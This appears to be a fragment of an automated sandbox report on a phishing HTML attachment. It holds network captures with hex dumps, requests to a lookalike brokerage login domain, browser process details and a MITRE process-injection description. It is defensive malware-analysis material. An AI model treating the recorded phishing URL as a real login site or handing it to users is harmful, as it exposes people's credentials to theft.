{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=XzYMg%2FMaE7WHNNR03JJ6pQAkp3qEgMPTjIr5RUQbRvSZaQmcYi1pqyFNiFiMmhEWItdr3Z%2BpK0UT71Im6dmlRQJl0wZOGIUz1KKeyy9CYU9qfOTYy598Gez4PnkcjVVN3g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 6fad047b4fe69bac-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-04-12 15:32:56 UTC	38	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e1 00 de 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 06 00 12 01 03 00 01 00 00 00 01 00 00 00 1a 01 05 00 01 00 00 00 56 00 00 00 1b 01 05 00 01 00 00 00 5e 00 00 00 28 01 03 00 01 00 00 00 02 00 00 00 13 02 03 00 01 00 00 00 01 00 00 00 69 87 04 00 01 00 00 00 66 00 00 00 00 00 00 00 38 63 00 00 e8 03 00 00 38 63 00 00 e8 03 00 00 07 00 00 90 07 00 04 00 00 00 30 32 31 30 01 91 07 00 04 00 00 00 01 02 03 00 86 92 07 00 16 00 00 00 c0 00 00 00 00 a0 07 00 04 00 00 00 30 31 30 30 01 a0 03 00 01 00 00 00 ff ff 00 00 02 a0 04 00 01 00 00 00 2c 01 00 00 03 a0 04 00 01 00 00 00 96 00 00 00 00 00 00 00 41 53 43 49 49 00 00 00 50 69 63 73 75 6d 20 49 44 3a 20 34 36 37 ff db 00 43 00 08 06 06 07 06 05 Data Ascii: JFIFExifII*V^(if8c8c02100100,ASCIIPicsum ID: 467C
2022-04-12 15:32:56 UTC	38	IN	Data Raw: 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c2 00 11 08 00 96 01 2c 03 01 22 00 02 11 01 03 11 01 ff c4 00 1a 00 01 00 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 fb a2 48 90 01 20 00 08 91 12 00 00 00 00 00 00 08 98 00 80 49 24 48 00 00 00 00 00 00 00 00 00 00 89 10 98 00 44 89 00 00 00 00 00 00 00 00 00 00 00 00 00 10 98 25 51 65 45 90 25 02 50 25 12 00 00 00 00 00 00 00 00 00 Data Ascii: $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222,"H I$HD%QeE%P%
2022-04-12 15:32:56 UTC	40	IN	Data Raw: db bd 8d 5e 18 fd 05 0c 3e 46 a3 1e 59 97 02 13 7d 44 20 dd 18 7c cc 5c df 0c 5a c8 cd fe 01 7a 37 91 33 d9 f0 cc 19 d4 25 5f f1 0f 43 80 55 97 c3 1b 7d c9 6d e8 69 71 5e 89 6e b9 30 7a 47 2f 0f a9 bc 31 3e a2 2b 95 27 47 f2 1b cc d1 be e7 a1 fe 11 ed 0f bf df 43 b8 85 6c d7 a3 16 a7 96 85 83 04 f2 2d 2d a3 79 8d cf e4 c9 aa d2 6a b3 62 34 46 ec d7 03 53 cc 97 98 5d 83 e4 bd 81 f6 7c 9d ef 4c 54 df dd 99 74 f7 d2 0d 5e 4e 13 cb ea 4f 21 8d 4f 43 53 0c 3c 09 3e cc 89 b0 6c 97 11 81 e4 d8 d3 56 1b f0 c5 74 38 72 47 e4 6e e3 ab 51 b7 fa 14 b7 b1 c8 f6 28 d4 86 61 a4 16 4e 7e 08 7a af 62 48 e6 33 92 ae 4c bb a6 61 d6 78 25 ed e4 49 b2 f6 56 49 14 86 96 34 b6 45 24 61 5e 06 2c 97 c0 b6 27 e1 9c cc c3 ba 23 57 f0 6f 83 66 70 69 69 57 0c 89 93 31 30 ec 68 9a cb Data Ascii: ^>FY}D \|\Zz73%_CU}miq^n0zG/1>+'GCl--yjb4FS]\|LTt^NO!OCS<>lVt8rGnQ(aN~zbH3Lax%IVI4E$a^,'#WofpiiW10h
2022-04-12 15:32:56 UTC	41	IN	Data Raw: 38 05 7b c0 59 2e 94 83 f7 8a 30 f9 ac b3 74 77 ed 45 5c d9 cc 20 58 bb 1f 96 16 d8 5f 36 5f d6 18 1e e5 0c 2d 92 ed dc 62 19 1f 0d 33 2e 1d 80 fa 11 2d d9 77 d3 31 ca 06 94 89 01 37 bb 31 6e 56 d2 b1 80 eb dc a3 f4 8d c0 7a 47 ed 15 80 a7 0e 20 81 01 e3 32 da 11 ee 05 82 f2 8f e2 53 d0 bf 2a 57 c9 1b 94 6e 8c 01 b0 f3 06 c1 7c 12 ec 06 11 7a b2 b8 17 d0 88 d4 4f 8a 8d 8e 11 ca c5 57 56 b7 86 a1 5f 2b 88 2a a8 3a 80 a1 95 42 7b c2 6c 55 94 42 38 b6 8d 2b 29 e2 39 27 60 6e 68 ba 1c b6 1a c3 e8 5c 31 ad c5 68 8d 16 01 f3 fd 4a 0a df 77 a4 b4 3a 72 e4 8a eb d9 66 5b c1 18 4f 2a a9 00 b6 e1 14 5d 0c d9 cc d1 cd 46 f7 88 19 60 b1 7b 2d 8d f5 fa e2 26 81 97 8b 09 7d a7 41 f6 8e 45 07 24 d3 14 f0 b7 13 70 7b 94 82 eb c9 8e 5b 5d 31 40 bf 19 88 b9 c3 ca 8a c5 1d Data Ascii: 8{Y.0twE\ X_6_-b3.-w171nVzG 2SWn\|zOWV_+:B{lUB8+)9'`nh\1hJw:rf[O*]F`{-&}AE$p{[]1@

Timestamp	kBytes transferred	Direction	Data
2022-04-12 15:32:56 UTC	25	OUT	GET //2.6.3/images/icon_light.f13cff3.png HTTP/1.1 Host: cstaticdun.126.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.secureauthenticatinos.schwabc.xyz/XyWCalyO Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-04-12 15:32:56 UTC	25	IN	HTTP/1.1 200 OK Server: Tengine Content-Type: image/png Content-Length: 11413 Connection: close Date: Tue, 12 Apr 2022 15:32:32 GMT Timing-Allow-Origin: , Accept-Ranges: bytes Last-Modified: Thu, 17 Mar 2022 09:32:20 GMT Cache-Control: max-age=43200 Expires: Sat, 09 Apr 2022 05:40:59 GMT Ali-Swift-Global-Savetime: 1649777553 Via: cache11.l2de2[0,0,304-0,H], cache5.l2de2[0,0], cache5.l2de2[1,0], ens-cache7.de4[4,12,200-0,H], ens-cache8.de4[16,0] Age: 23 X-Cache: HIT TCP_REFRESH_HIT dirn:8:38753315 X-Swift-SaveTime: Tue, 12 Apr 2022 15:32:56 GMT X-Swift-CacheTime: 37 Access-Control-Allow-Methods: GET,POST,OPTIONS,HEAD Access-Control-Expose-Headers: * Access-Control-Allow-Origin: * EagleId: 2ff62b2016497775761817111e
2022-04-12 15:32:56 UTC	26	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 22 00 00 01 d7 08 06 00 00 00 d9 6f 88 dc 00 00 28 23 49 44 41 54 78 01 ec c1 0b bc 96 75 81 28 ea e7 ff 7f 5f 40 16 43 28 b8 80 c5 4d d2 b8 58 a0 96 34 a4 48 ba d4 12 67 d4 72 7b 9c 40 73 2b ba bb 88 a3 c7 19 c3 b1 b4 c6 1a 85 84 d4 69 4b 9b 71 cf 38 e9 2e 53 f7 74 53 2b 6b d2 96 06 69 1a b3 1b 45 72 c0 4b 10 02 4b 90 52 09 e4 b2 be f7 bf bf 73 5e 7e bf c5 92 75 f9 80 b5 d8 9e a3 cf 13 52 4a f6 40 03 7e 8c 2d 21 84 63 74 a3 a8 76 0d 68 c2 11 e8 ab 9b 45 b5 69 40 13 c6 61 39 4e d5 cd a2 ae 35 a0 09 e3 b0 1c 8d 58 a7 9b e5 78 18 f5 98 86 d5 da 6a 40 13 c6 61 39 1a b1 4e 0f 88 e8 8b 77 a3 09 23 b5 6a 40 13 c6 61 39 1a b1 4e 0f 89 38 0d cb 70 18 9a 30 12 0d 68 c2 38 2c 47 23 d6 e9 41 39 36 a0 11 4d 78 Data Ascii: PNGIHDR"o(#IDATxu(_@C(MX4Hgr{@s+iKq8.StS+kiErKKRs^~uRJ@~-!ctvhEi@a9N5Xxj@a9Nw#j@a9N8p0h8,G#A96Mx

Timestamp	kBytes transferred	Direction	Data
2022-04-12 15:32:56 UTC	42	OUT	GET /favicon.ico HTTP/1.1 Host: login.secureauthenticatinos.schwabc.xyz Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.secureauthenticatinos.schwabc.xyz/XyWCalyO Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: LRUB=5ca95fa2a98000e50a6fdde7612f55f85fbee26d6e6981d98fca59899df5876b
2022-04-12 15:32:56 UTC	42	IN	HTTP/1.1 404 Not Found
2022-04-12 15:32:56 UTC	42	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a Data Ascii: Cache-Control: private
2022-04-12 15:32:56 UTC	42	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2022-04-12 15:32:56 UTC	42	IN	Data Raw: 44 61 74 65 3a 20 54 75 65 2c 20 31 32 20 41 70 72 20 32 30 32 32 20 31 35 3a 33 32 3a 35 35 20 47 4d 54 0d 0a Data Ascii: Date: Tue, 12 Apr 2022 15:32:55 GMT
2022-04-12 15:32:56 UTC	42	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2022-04-12 15:32:56 UTC	42	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2022-04-12 15:32:56 UTC	42	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2022-04-12 15:32:56 UTC	43	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 67 72 6f 75 70 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 69 64 65 6e 74 69 74 79 2e 6e 65 6c 2e 6d 65 61 73 75 72 65 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 61 70 69 2f 72 65 70 6f 72 74 3f 63 61 74 49 64 3d 47 57 2b 65 73 74 73 66 64 2b 64 75 62 32 22 7d 5d 7d 0d 0a Data Ascii: Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+dub2"}]}
2022-04-12 15:32:56 UTC	43	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 78 2d 6d 73 2d 67 61 74 65 77 61 79 2d 73 6c 69 63 65 3d 65 73 74 73 66 64 3b 20 50 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: x-ms-gateway-slice=estsfd; Path=/; HttpOnly; Secure; SameSite=None
2022-04-12 15:32:56 UTC	43	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2022-04-12 15:32:56 UTC	43	IN	Data Raw: 58 2d 4d 73 2d 45 73 74 73 2d 53 65 72 76 65 72 3a 20 32 2e 31 2e 31 32 35 37 30 2e 31 36 20 2d 20 4e 45 55 4c 52 31 20 50 72 6f 64 53 6c 69 63 65 73 0d 0a Data Ascii: X-Ms-Ests-Server: 2.1.12570.16 - NEULR1 ProdSlices
2022-04-12 15:32:56 UTC	43	IN	Data Raw: 58 2d 4d 73 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 66 64 31 33 34 38 39 39 2d 33 30 32 64 2d 34 62 33 34 2d 38 63 33 32 2d 63 37 30 34 61 39 61 34 34 39 30 30 0d 0a Data Ascii: X-Ms-Request-Id: fd134899-302d-4b34-8c32-c704a9a44900
2022-04-12 15:32:56 UTC	43	IN	Data Raw: 0d 0a Data Ascii:
2022-04-12 15:32:56 UTC	43	IN	Data Raw: 30 0d 0a Data Ascii: 0
2022-04-12 15:32:56 UTC	43	IN	Data Raw: 0d 0a Data Ascii:

Target ID:	0
Start time:	17:32:42
Start date:	12/04/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation "C:\Users\user\Desktop\_#U266c_Play Mp3MSG(#U00f0#U0178#U201c#U017e)899 ___3pm .htm
Imagebase:	0x7ff6a7220000
File size:	2150896 bytes
MD5 hash:	C139654B5C1438A95B321BB01AD63EF6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Target ID:	2
Start time:	17:32:44
Start date:	12/04/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1588,4206771017813030206,17947662718362480258,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1648 /prefetch:8
Imagebase:	0x7ff6a7220000
File size:	2150896 bytes
MD5 hash:	C139654B5C1438A95B321BB01AD63EF6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre